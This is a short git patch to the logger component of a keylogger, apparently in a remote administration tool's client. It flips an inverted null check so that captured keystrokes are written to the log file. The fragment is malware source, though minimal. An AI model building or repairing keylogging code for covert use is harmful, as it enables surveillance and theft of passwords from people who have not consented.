From e951674c2166cc34c703968f1f02379ad2f5e49f Mon Sep 17 00:00:00 2001 From: yankejustin Date: Mon, 4 May 2015 12:43:41 -0400 Subject: [PATCH] Make sure it is not null! Forgot to make sure to check if it is not null. --- Client/Core/Keylogger/Logger.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 5bb7ed9e..25d8b9a7 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -207,7 +207,7 @@ private void WriteFile() "Log created on " + DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "
"); - if (string.IsNullOrEmpty(_keyBuffer.ToString())) + if (!string.IsNullOrEmpty(_keyBuffer.ToString())) sw.Write(_keyBuffer); _hWndLastTitle = string.Empty;